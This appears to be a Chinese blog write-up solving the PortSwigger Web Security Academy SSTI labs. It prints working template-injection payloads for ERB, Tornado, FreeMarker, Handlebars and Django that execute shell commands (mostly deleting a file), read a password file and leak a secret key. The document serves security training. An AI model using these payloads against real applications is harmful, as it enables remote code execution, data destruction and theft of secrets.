Portswigger web security academy:Server-side template injection(SSTI)
Portswigger web security academy:Server-side template injection(SSTI)
- Portswigger web security academy:Server-side template injection(SSTI)
- Basic server-side template injection
- Basic server-side template injection (code context)
- Server-side template injection using documentation
- Server-side template injection in an unknown language with a documented exploit
- Server-side template injection with information disclosure via user-supplied objects
- Server-side template injection in a sandboxed environment
Basic server-side template injection
题目要求:

这道题要删除
morale.txtERB:全称是Embedded RuBy,意思是嵌入式的Ruby,是一种文本模板技术。
解题步骤:
进来看都是商品,点了第一个,提示卖完了,然后看到url里有可控参数
message,于是查了一下ERB的用法,打了个<%= 2*2 %>,回显4,说明这里存在ssti
去查了ruby进行系统命令执行的方法
exec 'command',然后ls
发现
morale.txt就在该目录下<%= exec 'rm morale.txt' %>参考:
Basic server-side template injection (code context)
题目要求:

这是一个Tornado框架下的ssti,要求还是删除
morale.txt解题步骤:
题目给了提示,要注意
preferred name功能点,我用burp抓包改了半天也不见回显( 我以为回显点在邮箱角的id处),然后去blog列表看了看,看到了评论功能,随手评论了一下
有回显了,接下来就用repeater改参数,然后看评论
{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals['linecache'].os.popen('ls').read() }}
发现
morale.txt就在当前目录下{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals['linecache'].os.popen('rm morale.txt').read() }}删除,然后刷新页面,pass
参考:
https://www.cnblogs.com/R3col/p/12746485.html
(这里有个小插曲,我用这篇博客里的命令执行payload会提示“dict 没有属性 linecache”,于是改成了['xxx']形式)
Server-side template injection using documentation
题目要求:

要求还是一样,删除
morale.txt解题步骤:
这是个管理员账号,可以修改template,随便点一个商品,然后修改模板

说明这里存在ssti
然后在
${}里随便输点内容,有报错,发现是freemarker,查了资料,打了个payload<#assign test="freemarker.template.utility.Execute"?new()> ${test("ls")}
有效,直接删除文件
<#assign test="freemarker.template.utility.Execute"?new()> ${test("rm morale.txt")}参考:
https://blog.csdn.net/weixin_33967071/article/details/89831707
Server-side template injection in an unknown language with a documented exploit
题目要求:

还是一样,删除
morale.txt解题步骤:
先点一个商品,发现和前边做过的题一样,会提示已售空,提示信息在url中,可控,尝试
{{4*4}}
发现是
Node.js+Handlebars模板引擎搜了一下
Handlebars server-side template injection,看到一篇介绍,里面跳到了一篇关于HandlebarsSSTI导致RCE的文章,根据介绍和文章,构造payload:{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('rm morale.txt');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencode一下就可以了
Server-side template injection with information disclosure via user-supplied objects
题目要求:

要获取
secret key,解题步骤:
先进入模板编辑页面,打个
payload
从提示信息可以看出是django框架,根据题目的提示,思路就有了
通过某种方式找到django默认应用admin的model,再通过这个model获取settings对象,进而获得secret_key因为之前接触过django和tornado,稍微了解一些,尝试了一下
{{ settings.SECRET_KEY}},成功拿到SECRET_KEY
Server-side template injection in a sandboxed environment
题目描述
这道题使用了
Freemarker模板引擎,因为沙盒的实现很糟糕,所以存在ssti漏洞要求逃逸沙河并读取
my_password.txt解题步骤
google了一大圈,没有找到相关度很高的文章,先看看官方solution吧
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
还是一样的思路,通过可调用对象来获取所有类,然后根据需求层层调用方法。
返回的是ascii值,写个脚本解一下就行
s = ''
s = s.split(' ')
for x in s:
print(chr(int(x)), end='')
很多ssti的题目都是这种感觉,思路是有的,但是缺乏寻找目标函数的高效方法。感觉最高效的就是看相关的安全文章和报告,因为官方文档中很少会介绍这些安全相关的函数用法。
Portswigger web security academy:Server-side template injection(SSTI)的更多相关文章
- Portswigger web security academy:Reflected XSS
Portswigger web security academy:Reflected XSS 目录 Portswigger web security academy:Reflected XSS Ref ...
- Portswigger web security academy:WebSockets
Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...
- Portswigger web security academy:Cross-origin resource sharing (CORS)
Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...
- Portswigger web security academy:XML external entity (XXE) injection
Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...
- Portswigger web security academy:Cross-site request forgery (CSRF)
Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...
- Portswigger web security academy:OAth authentication vulnerable
Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...
- Portswigger web security academy:Server-side request forgery (SSRF)
Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...
- Portswigger web security academy:Clickjacking (UI redressing)
Portswigger web security academy:Clickjacking (UI redressing) 目录 Portswigger web security academy:Cl ...
- Portswigger web security academy:OS command injection
Portswigger web security academy:OS command injection 目录 Portswigger web security academy:OS command ...
随机推荐
- pytest+jenkins+allure 生成测试报告发送邮件
前言第一部分:Pycharm for Gitee1. pycharm安装gitee插件2. gitee关联本地Git快速设置- 如果你知道该怎么操作,直接使用下面的地址简易的命令行入门教程:3. Gi ...
- 用实战玩转pandas数据分析(一)——用户消费行为分析(python)
CD商品订单数据的分析总结.根据订单数据(用户的消费记录),从时间维度和用户维度,分析该网站用户的消费行为.通过此案例,总结订单数据的一些共性,能通过用户的消费记录挖掘出对业务有用的信息.对其他产 ...
- nginx使用-2(模块和日志)
默认官方模块 1.1.Gzip压缩 压缩文件,使文件变小,传输更快了.目前市场上大部分浏览器是支持GZIP的.IE6以下支持不好,会出现乱码情况. 官方文档:http://nginx.org/en/d ...
- JS 字符数组和数字数组转换
var newArr = ['1','2','3'].map(Number):// [1,2,3] var newArr =[1,2,3].map(String):// ['1','2','3']
- java实现简易的图书馆管理系统
比较适合新手练手的一个简易项目 直接上源码 Book package code; /** * @author ztr * @version 创建时间:2021年3月4日 下午8:21:40 * 类说明 ...
- JSP实验报告
- SpringBoot学习笔记(四)
本文主要介绍:SpringBoot开发中如何自定义starter 1.什么是starter Starter可以理解为一个可拔插式的插件,提供一系列便利的依赖描述符,您可以获得所需的所有Spring和相 ...
- sqli-labs系列——第一关
先看了一遍关于sql的一些知识点,通关sqli-labs加深下印象.之前也因为作业的原因通关过前10关,但那时候不懂得原理,跟着网上的教程做的,所以这次尝试自己思考通关. less1 尝试and1=2 ...
- Redis入门到放弃系列-redis安装
Redis是什么? Redis is an open source (BSD licensed), in-memory data structure store, used as a database ...
- Java例题_39 判断奇偶后分数累加
1 /*39 [程序 39 分数累加] 2 题目:编写一个函数,输入 n 为偶数时,调用函数求 1/2+1/4+...+1/n,当输入 n 为奇数时,调用函数 3 1/1+1/3+...+1/n 4 ...